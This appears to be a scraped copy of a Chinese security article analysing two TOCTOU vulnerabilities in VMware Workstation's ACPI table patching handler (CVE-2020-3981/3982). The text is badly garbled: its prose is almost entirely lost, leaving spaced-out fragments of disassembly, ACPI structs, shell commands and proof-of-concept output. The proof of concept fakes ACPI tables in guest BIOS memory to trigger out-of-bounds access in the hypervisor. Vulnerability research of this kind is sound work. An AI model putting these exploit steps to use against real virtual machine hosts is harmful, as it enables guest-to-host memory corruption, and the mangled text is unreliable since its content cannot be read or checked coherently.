[16093] 2020-11-15_安全分析两个VMwareWorkstation中的TOCTOU漏洞

文档创建者:s7ckTeam
浏览次数:16
最后更新:2025-01-18
2020-11-15_安全分析两个VMwareWorkstation中的TOCTOU漏洞   |   V M w a r e   W o r k s t a t i o n T O C T O U A l p h a _ h 4 c k   F r e e B u f   2 0 2 0 - 1 1 - 1 5 V M w a r e V M w a r e   E S X i W o r k s t a t i o n F u s i o n N S X - T T O C T O U T i m e - o f - c h e c k   T i m e - o f - u s e T O C T O U V M w a r e V M w a r e   W o r k s t a t i o n 使 P h o e n i x B I O S   4 . 0   R e l e a s e   6 B I O S B I O S . 4 4 0 . R O M V M w a r e I / O o p e n - v m - t o o l s R O M 使 B D O O R _ C M D _ P A T C H _ A C P I _ T A B L E S A C P I V M w a r e W o r k s t a t i o n L i n u x v   1 5 . 5 . 6 B D O O R _ C M D _ P A T C H _ A C P I _ T A B L E S V M w a r e   T o o l s C P L B I O S _ F : 3 5 8 B   b a c k d o o r                 p r o c   n e a r                                 B I O S _ F : 3 5 8 B                                   m o v           d x ,   5 6 5 8 h B I O S _ F : 3 5 8 E                                   m o v           e a x ,   5 6 4 D 5 8 6 8 h B I O S _ F : 3 5 9 4                                   i n             e a x ,   d x B I O S _ F : 3 5 9 6                                   r e t n B I O S _ F : 3 5 9 6   b a c k d o o r                 e n d p B D O O R _ C M D _ G E T M E M S I Z E B D O O R _ C M D _ G E T M H Z B D O O R _ C M D _ I S A C P I D I S A B L E D B D O O R _ C M D _ P A T C H _ A C P I _ T A B L E S B D O O R _ C M D _ G E T U U I D B D O O R _ C M D _ G E T D I S K G E O B D O O R _ C M D _ O S N O T F O U N D B D O O R _ C M D _ A P M F U N C T I O N . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 A F 0   B a c k d o o r P a t c h A C P I T a b l e s   p r o c   n e a r                 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 A F 0 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B 1 4                                   c a l l         G e t _ V M T o o l s _ V e r s i o n . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B 1 9                                   t e s t         e a x ,   e a x                 ;   c h e c k   i f   v m w a r e   t o o l s   i n s t a l l e d . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B 1 B                                   j n z           s h o r t   v m t o o l s _ a v a i l a b l e . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B 5 0   v m t o o l s _ a v a i l a b l e :                                               . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B 5 0                                   c a l l         G e t _ V M T o o l s _ V e r s i o n . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B 5 5                                   c m p           e a x ,   1 7 F F h             ;   c h e c k   i f   v m w a r e   t o o l s   v e r s i o n   <   6 . 0 . 0 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B 5 A                                   j a             s h o r t   r e t u r n
G e t _ V M T o o l s _ V e r s i o n V M w a r e   T o o l s o p e n - v m - t o o l s B D O O R _ C M D _ P A T C H _ A C P I _ T A B L E S V M w a r e   T o o l s 6 . 0 . 0 使 C P L   0 r i n g   0 使 B I O S 0 x E 0 0 0 0 0 x F F F F F R S D   P T R R o o t R S D P A C P I D S D T D S D T F 0 0 _ S 1 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B 5 A                                   j a             s h o r t   r e t u r n . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B 5 C                                   c a l l         C h e c k _ C P L 0             ;   c h e c k   i f   i n v o k e d   a t   C P L   0 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B 6 1                                   t e s t         a l ,   a l . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B 6 3                                   j z             s h o r t   r e t u r n # d e f i n e   T O O L S _ V E R S I O N _ U I N T ( M J R ,   M N R ,   B A S E )   ( ( ( M J R )   < <   1 0 )   +   ( ( M N R )   < <   5 )   +   ( B A S E ) ) . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B 7 3                                   m o v           r 1 2 d ,   0 E 0 0 0 0 h . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B 7 9                                   l e a           r b p ,   [ r 1 3 + 2 4 h ] . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B 7 D                                   n o p           d w o r d   p t r   [ r a x ] . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B 8 0 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B 8 0   l o c _ 1 D 9 B 8 0 :                                                             . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B 8 0                                   m o v           e d x ,   2 4 h . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B 8 5                                   m o v           r s i ,   r 1 3 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B 8 8                                   m o v           r d i ,   r 1 2 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B 8 B                                   m o v           r 8 d ,   1 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B 9 1                                   m o v           e c x ,   4 0 h . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B 9 6                                   c a l l         R e a d _ G u e s t M e m . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B 9 B                                   m o v           e d x ,   8                     ;   n . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B A 0                                   m o v           r d i ,   r 1 3                 ;   s 1 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B A 3                                   l e a           r s i ,   a R s d P t r         ;   " R S D   P T R   " . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B A A                                   c a l l         _ m e m c m p . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B A F                                   t e s t         e a x ,   e a x t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B E 9                                   l e a           r s i ,   a R s d t             ;   " R S D T " t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B F 0                                   m o v           r c x ,   r b p t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 B F 3                                   c a l l         V a l i d a t e A n d G e t A C P I T a b l e t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C 2 4                                   l e a           r s i ,   a F a c p             ;   " F A C P " t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C 2 B                                   c a l l         V a l i d a t e A n d G e t A C P I T a b l e t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C 3 0                                   t e s t         a l ,   a l t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C 6 3                                   l e a           r s i ,   a D s d t             ;   " D S D T " t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C 6 A                                   c a l l         V a l i d a t e A n d G e t A C P I T a b l e t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C 6 F                                   t e s t         a l ,   a l
D S D T V M w a r e   T o o l s 6 . 0 . 0 o p e n - v m - t o o l s 使 t o o l s . s e t . v e r s i o n G u e s t R P C D S D T A S L . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C C A   l o c _ 1 D 9 C C A :                                                             . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C C A                     c m p           [ r s p + 0 D 8 h + v a r _ D 3 ] ,   5 F h   ;   ' _ ' . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C C F                     j n z           s h o r t   c o n t i n u e . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C D 1                     c m p           [ r s p + 0 D 8 h + v a r _ D 3 + 1 ] ,   5 3 h   ;   ' S ' . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C D 6                     j n z           s h o r t   c o n t i n u e . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C D 8                     c m p           [ r s p + 0 D 8 h + v a r _ D 3 + 2 ] ,   3 1 h   ;   ' 1 ' . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C D D                     j n z           s h o r t   c o n t i n u e . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C D F                     s u b           e a x ,   1 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C E 2                     j n z           l o c _ 1 D 9 E 6 9 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C E 8                     a d d           r 1 2 ,   [ r s p + 0 D 8 h + v a r _ B 8 ] . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C E D                     m o v           w o r d   p t r   [ r 1 2 ] ,   ' O F ' . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C F 4                     m o v           b y t e   p t r   [ r 1 2 + 2 ] ,   4 F h   ;   ' O ' $   s u d o   c a t   / s y s / f i r m w a r e / a c p i / t a b l e s / D S D T   >   D S D T $   i a s l   - d   D S D T I n t e l   A C P I   C o m p o n e n t   A r c h i t e c t u r e A S L +   O p t i m i z i n g   C o m p i l e r / D i s a s s e m b l e r   v e r s i o n   2 0 1 8 0 1 0 5 C o p y r i g h t   ( c )   2 0 0 0   -   2 0 1 8   I n t e l   C o r p o r a t i o n I n p u t   f i l e   D S D T ,   L e n g t h   0 x 2 1 4 8 B   ( 1 3 6 3 3 1 )   b y t e s A C P I :   D S D T   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0   0 2 1 4 8 B   ( v 0 1   P T L T D     C u s t o m       0 6 0 4 0 0 0 0   M S F T   0 3 0 0 0 0 0 1 ) P a s s   1   p a r s e   o f   [ D S D T ] P a s s   2   p a r s e   o f   [ D S D T ] P a r s i n g   D e f e r r e d   O p c o d e s   ( M e t h o d s / B u f f e r s / P a c k a g e s / R e g i o n s ) P a r s i n g   c o m p l e t e d D i s a s s e m b l y   c o m p l e t e d A S L   O u t p u t :         D S D T . d s l   -   1 2 9 6 9 2 3   b y t e s $   v m w a r e - r p c t o o l   " t o o l s . s e t . v e r s i o n   4 0 9 6 " $   r e b o o t *   O r i g i n a l   T a b l e   H e a d e r :       *           S i g n a t u r e                 " D S D T "       *           L e n g t h                       0 x 0 0 0 2 1 4 8 B   ( 1 3 6 3 3 1 )       *           R e v i s i o n                   0 x 0 1   * * * *   3 2 - b i t   t a b l e   ( V 1 ) ,   n o   6 4 - b i t   m a t h   s u p p o r t
S 1 T i m e - o f - c h e c k   T i m e - o f - u s e   ( T O C T O U ) D S D T A C P I   H e a d e r A M L A C P I   H e a d e r H e a d e r l e n g t h c h e c k s u m V a l i d a t e A n d G e t A C P I T a b l e 0 x 0 1 D 9 C 6 A -     *           C h e c k s u m                   0 x 9 E +   *           C h e c k s u m                   0 x 9 D       *           O E M   I D                       " P T L T D   "       *           O E M   T a b l e   I D           " C u s t o m     "       *           O E M   R e v i s i o n           0 x 0 6 0 4 0 0 0 0   ( 1 0 0 9 2 5 4 4 0 ) @ @   - 2 5 2 4 , 7   + 2 5 2 4 , 7   @ @                   0 x 0 5 ,                       0 x 0 5           } ) -         N a m e   ( _ S 1 ,   P a c k a g e   ( 0 x 0 2 )     / /   _ S 1 _ :   S 1   S y s t e m   S t a t e +         N a m e   ( F O O ,   P a c k a g e   ( 0 x 0 2 )           {                   0 x 0 4 ,                       0 x 0 4 s t r u c t   a c p i _ t a b l e _ h e a d e r   {                 c h a r   s i g n a t u r e [ A C P I _ N A M E S E G _ S I Z E ] ;                   / *   A S C I I   t a b l e   s i g n a t u r e   * /                 u 3 2   l e n g t h ;                                                                 / *   L e n g t h   o f   t a b l e   i n   b y t e s ,   i n c l u d i n g   t h i s   h e a d e r   * /                 u 8   r e v i s i o n ;                                                               / *   A C P I   S p e c i f i c a t i o n   m i n o r   v e r s i o n   n u m b e r   * /                 u 8   c h e c k s u m ;                                                               / *   T o   m a k e   s u m   o f   e n t i r e   t a b l e   = =   0   * /                 c h a r   o e m _ i d [ A C P I _ O E M _ I D _ S I Z E ] ;                           / *   A S C I I   O E M   i d e n t i f i c a t i o n   * /                 c h a r   o e m _ t a b l e _ i d [ A C P I _ O E M _ T A B L E _ I D _ S I Z E ] ;   / *   A S C I I   O E M   t a b l e   i d e n t i f i c a t i o n   * /                 u 3 2   o e m _ r e v i s i o n ;                                                     / *   O E M   r e v i s i o n   n u m b e r   * /                 c h a r   a s l _ c o m p i l e r _ i d [ A C P I _ N A M E S E G _ S I Z E ] ;       / *   A S C I I   A S L   c o m p i l e r   v e n d o r   I D   * /                 u 3 2   a s l _ c o m p i l e r _ r e v i s i o n ;                                   / *   A S L   c o m p i l e r   v e r s i o n   * / } ; . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 9 1 0   V a l i d a t e A n d G e t A C P I T a b l e   p r o c   n e a r . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 9 1 B                                   m o v           e d x ,   4                     ;   l e n g t h   t o   r e a d . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 9 2 0                                   p u s h         r 1 3 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 9 2 2                                   p u s h         r 1 2 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 9 2 4                                   m o v           r 1 2 d ,   e d i
. t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 9 2 4                                   m o v           r 1 2 d ,   e d i . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 9 2 7                                   p u s h         r b p . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 9 2 8                                   l e a           r d i ,   [ r 1 2 + 4 ]         ;   p h y s i c a l   a d d r e s s   o f   t a b l e   +   4 ,   t h i s   p o i n t s   t o   t h e   l e n g t h   f i e l d   i n   A C P I   h e a d e r .   .   . . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 9 4 D                                   l e a           r s i ,   [ r s p + 6 8 h + t a b l e _ s i z e ]   ;   b u f f e r   f o r   w r i t i n g   t h e   c o n t e n t . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 9 5 2                                   c a l l         R e a d G u e s t P h y A d d r . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 9 5 7                                   m o v           r 8 d ,   [ r s p + 6 8 h + t a b l e _ s i z e ] . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 9 5 C                                   l e a           e a x ,   [ r 8 - 1 ] . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 9 6 0                                   c m p           e a x ,   0 F F F F F F h . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 9 6 5                                   j b e           s h o r t   m a p _ g u e s t m e m .   .   . . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 9 B 8   m a p _ g u e s t m e m :                                                         . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 9 B 8                                   c m p           r 1 4 b ,   1 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 9 B C                                   m o v           e s i ,   r 8 d                 ;   l e n g t h   t o   r e a d   f r o m   g u e s t . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 9 B F                                   m o v           r d i ,   r 1 2                 ;   p h y s i c a l   a d d r e s s   o f   A C P I   t a b l e .   .   . . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 9 D 2                                   c a l l         M a p G u e s t P h y A d d r . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 9 D 7                                   c m p           d w o r d   p t r   [ r b x + 0 C h ] ,   1 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 9 D B                                   m o v           r 1 2 d ,   [ r s p + 6 8 h + t a b l e _ s i z e ] .   .   . . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 A 1 0                                   c m p           r 1 2 d ,   3 5                 ;   c h e c k   i f   l e n g t h   i s   a t   l e a s t   A C P I   t a b l e   h e a d e r   s i z e . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 A 1 4                                   j b e           i n v a l i d _ s i z e . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 A 1 A                                   m o v           e a x ,   d w o r d   p t r   [ r s p + 6 8 h + a c p i _ t a b l e . s i g n a t u r e ] . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 A 1 E                                   c m p           [ r b p + 0 ] ,   e a x         ;   c h e c k   t a b l e   s i g n a t u r e .   .   . . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 A 7 0   c a l c _ c h e c k s u m :                                                       . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 A 7 0                                   m o v           r a x ,   [ r b x + 1 0 h ] . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 A 7 4                                   m o v z x       e a x ,   b y t e   p t r   [ r a x + r b p ]   ;   r e a d   a   b y t e   f r o m   g u e s t   A C P I   t a b l e . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 A 7 8 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 A 7 8   l o c _ 1 D 9 A 7 8 :                                                             . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 A 7 8                                   a d d           r b p ,   1 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 A 7 C                                   a d d           r 1 2 d ,   e a x . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 A 7 F                                   c m p           r 1 4 d ,   e b p               ;   l o o p   u n t i l   t a b l e   s i z e . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 A 8 2                                   j b e           s h o r t   l o c _ 1 D 9 A D 0
V a l i d a t e A n d G e t A C P I T a b l e A C P I A C P I A C P I C V E - 2 0 2 0 - 3 9 8 2 / Z D I - 2 0 - 1 2 6 8 A C P I D S D T   A M L _ S 1 O O B f i n d i n g   _ S 1 使 F 0 0 C V E - 2 0 2 0 - 3 9 8 1 / Z D I - 2 0 - 1 2 6 7 S 1 H e a d e r . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 A 8 4 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 A 8 4   l o c _ 1 D 9 A 8 4 :                                                             . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 A 8 4                                   c m p           d w o r d   p t r   [ r b x + 0 C h ] ,   1 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 A 8 8                                   j z             s h o r t   c a l c _ c h e c k s u m t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C 6 A                                   c a l l         V a l i d a t e A n d G e t A C P I T a b l e   ;   D S D T   t a b l e   v a l i d a t e d   h e r e . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C 6 F                                   t e s t         a l ,   a l . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C 7 1                                   j z             r e t u r n . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C 7 7                                   m o v           e a x ,   [ r s p + 0 D 8 h + v a r _ B C ] . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C 7 B                                   l e a           r 1 5 ,   [ r s p + 0 D 8 h + v a r _ C C ] . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C 8 0                                   m o v           r 1 3 d ,   2 4 h   ;   ' $ ' . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C 8 6                                   l e a           r 1 4 ,   [ r s p + 0 D 8 h + v a r _ D 3 ] . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C 8 B                                   j m p           s h o r t   l o c _ 1 D 9 C 9 1 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C 8 D . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C 8 D   P a t c h _ S 1 _ S l e e p _ S t a t e :                                         . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C 8 D                                                                                     . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C 8 D                                   a d d           r 1 3 d ,   1 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C 9 1 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C 9 1   l o c _ 1 D 9 C 9 1 :                                                             . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C 9 1                                   c m p           e a x ,   1 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C 9 4                                   j n z           l o c _ 1 D 9 D 9 1 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C 9 A                                   m o v           r a x ,   [ r s p + 0 D 8 h + d s d t ] . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C 9 F                                   m o v           e s i ,   [ r a x + a c p i _ t a b l e _ h e a d e r . l e n g t h ]   ;   D S D T   t a b l e   f e t c h e d   f r o m   g u e s t   a f t e r   v a l i d a t i o n . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C C A                                   c m p           [ r s p + 0 D 8 h + v a r _ D 3 ] ,   5 F h   ;   ' _ ' . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C C F                                   j n z           s h o r t   P a t c h _ S 1 _ S l e e p _ S t a t e . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C D 1                                   c m p           [ r s p + 0 D 8 h + v a r _ D 3 + 1 ] ,   5 3 h   ;   ' S ' . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C D 6                                   j n z           s h o r t   P a t c h _ S 1 _ S l e e p _ S t a t e . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C D 8                                   c m p           [ r s p + 0 D 8 h + v a r _ D 3 + 2 ] ,   3 1 h   ;   ' 1 '
P o C B I O S 使 访 B I O S 0 x E 0 0 0 0 R S D P R S D T R S D P A C P I R A M D S D T O O B 访 O O B A C P I O O B A C P I 使 0 m o d   2 5 6 D S D T A C P I 使 访 A M L 使 访 使 1 O O B 0 2 O O B P o C . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C D 8                                   c m p           [ r s p + 0 D 8 h + v a r _ D 3 + 2 ] ,   3 1 h   ;   ' 1 ' . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C D D                                   j n z           s h o r t   P a t c h _ S 1 _ S l e e p _ S t a t e . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C D F                                   s u b           e a x ,   1 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C E 2                                   j n z           l o c _ 1 D 9 E 6 9 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C E 8                                   a d d           r 1 2 ,   [ r s p + 0 D 8 h + d s d t ] . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C E D                                   m o v           w o r d   p t r   [ r 1 2 ] ,   ' O F ' . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C F 4                                   m o v           b y t e   p t r   [ r 1 2 + 2 ] ,   4 F h   ;   ' O ' . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C F A . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C F A   c a l c _ c h e c k s u m _ a f t e r _ p a t c h :                               . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C F A                                   c m p           [ r s p + 0 D 8 h + v a r _ B C ] ,   1 . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 C F F                                   j n z           l o c _ 1 D 9 E 3 C . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 D 0 5                                   m o v           r a x ,   [ r s p + 0 D 8 h + d s d t ] . t e x t : 0 0 0 0 0 0 0 0 0 0 1 D 9 D 0 A                                   m o v           r 1 3 d ,   [ r a x + a c p i _ t a b l e _ h e a d e r . l e n g t h ]   ;   l e n g t h   f e t c h e d   a g a i n   f r o m   g u e s t   m e m o r y s t r u c t   a c p i _ t a b l e _ r s d p   {                 c h a r   s i g n a t u r e [ 8 ] ;                   / *   A C P I   s i g n a t u r e ,   c o n t a i n s   " R S D   P T R   "   * /                 u 8   c h e c k s u m ;                               / *   A C P I   1 . 0   c h e c k s u m   * / / *   . . .   s n i p   . . .   * /                 u 3 2   r s d t _ p h y s i c a l _ a d d r e s s ;   / *   3 2 - b i t   p h y s i c a l   a d d r e s s   o f   t h e   R S D T   * / / *   . . .   s n i p   . . .   * / } ;
$   s u d o   i n s m o d   b a c k d o o r . k o $   s u d o   . / p o c p o c :   [ + ]   S e t t i n g   o p e n - v m - t o o l s   v e r s i o n   t o   4 . 0 . 0   u s i n g   t o o l s . s e t . v e r s i o n p o c :   [ + ]   O v e r w r i t i n g   B I O S   m e m o r y   m a p p e d   @   0 x 7 f d d 1 2 f d 5 0 0 0 p o c :   [ + ]   T r i g e r r i n g   B D O O R _ C M D _ G E T M E M S I Z E   t o   g e t   R A M   s i z e . . . p o c :   [ + ]   V M   h i g h   m e m o r y   a d d r e s s   :   0 x 8 0 0 0 0 0 0 0 p o c :   [ + ]   F a k e   R o o t   S y s t e m   D e s c r i p t i o n   P o i n t e r   @   0 x E 0 0 0 0 R S D     @   0 x 0 0 0 0 0 0 0 0 0 0 0 E 0 0 0 0         0 0 0 0 :   5 2   5 3   4 4   2 0   5 0   5 4   5 2   2 0   7 3   0 0   0 0   0 0   0 0   0 0   0 0   0 0     R S D   P T R   s . . . . . . .         0 0 1 0 :   0 0   6 0   C 5   4 9                                                                             . ` . I p o c :   [ + ]   F a k e   R o o t   S y s t e m   D e s c r i p t i o n   T a b l e   @   0 x 4 9 C 5 6 0 0 0 R S D T   @   0 x 0 0 0 0 0 0 0 0 4 9 C 5 6 0 0 0         0 0 0 0 :   5 2   5 3   4 4   5 4   2 8   0 0   0 0   0 0   0 0   0 5   0 0   0 0   0 0   0 0   0 0   0 0     R S D T ( . . . . . . . . . . .         0 0 1 0 :   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     . . . . . . . . . . . . . . . .         0 0 2 0 :   0 0   0 0   0 0   0 0   2 8   6 0   C 5   4 9                                                     . . . . ( ` . I p o c :   [ + ]   F a k e   F i x e d   A C P I   D e s c r i p t i o n   T a b l e   @   0 x 4 9 C 5 6 0 2 8 F A C P   @   0 x 0 0 0 0 0 0 0 0 4 9 C 5 6 0 2 8         0 0 0 0 :   4 6   4 1   4 3   5 0   1 4   0 1   0 0   0 0   0 0   7 C   0 0   0 0   0 0   0 0   0 0   0 0     F A C P . . . . . | . . . . . .         0 0 1 0 :   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     . . . . . . . . . . . . . . . .         0 0 2 0 :   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   D 8   F F   F F   7 F   0 0   0 0   0 0   0 0     . . . . . . . . . . . . . . . .         0 0 3 0 :   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     . . . . . . . . . . . . . . . .         0 0 4 0 :   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     . . . . . . . . . . . . . . . .         0 0 5 0 :   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     . . . . . . . . . . . . . . . .         0 0 6 0 :   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     . . . . . . . . . . . . . . . .         0 0 7 0 :   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     . . . . . . . . . . . . . . . .         0 0 8 0 :   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     . . . . . . . . . . . . . . . .         0 0 9 0 :   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     . . . . . . . . . . . . . . . .         0 0 A 0 :   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     . . . . . . . . . . . . . . . .         0 0 B 0 :   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     . . . . . . . . . . . . . . . .         0 0 C 0 :   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     . . . . . . . . . . . . . . . .         0 0 D 0 :   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     . . . . . . . . . . . . . . . .         0 0 E 0 :   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     . . . . . . . . . . . . . . . .         0 0 F 0 :   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     . . . . . . . . . . . . . . . .
